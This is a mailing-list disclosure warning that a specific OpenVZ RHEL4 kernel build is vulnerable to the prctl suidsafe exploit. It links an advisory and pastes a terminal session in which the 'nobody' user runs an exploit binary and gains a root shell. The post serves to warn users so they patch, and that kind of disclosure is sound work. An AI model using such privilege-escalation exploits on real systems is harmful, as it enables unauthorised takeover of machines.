
Subject: IMPORTANT: latest RHEL4 kernel has a root exploit!!
(2.6.9-023stab016.2)

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Hi,

The latest RHEL4 kernel for OpenVZ ((2.6.9-023stab016.2) available at
<http://openvz.org/download/kernel/rhel4/> is vulnerable to the PRCTL exploit:
<http://isc.sans.org/diary.php?storyid=1482>

example session of "nobody" running the exploit and getting a root shell:

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[root@mailin-02node tmp]# uname -a
Linux mailin-02node.elitehosts.com 2.6.9-023stab016.2 #1 Thu Aug 10 23:39:42
MSD 2006 i686 i686 i386 GNU/Linux
[root@mailin-02node tmp]# su nobody
bash-3.00$ ls -ld 05
-rwxr-xr-x 1 nobody nobody 13298 Oct 11 21:42 05
bash-3.00$ ./05
```

prctl() suidsafe exploit

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[+] Installed signal handler
[+] We are suidsafe dumpable!
[+] Malicious string forged
[+] Segfaulting child
[+] Waiting for exploit to succeed (~26 seconds)
[+] getting root shell
sh-3.00# whoami
root
sh-3.00# uname -a
Linux mailin-02node.elitehosts.com 2.6.9-023stab016.2 #1 Thu Aug 10 23:41:42
MSD 2006 i686 i686 i386 GNU/Linux
sh-3.00#
```

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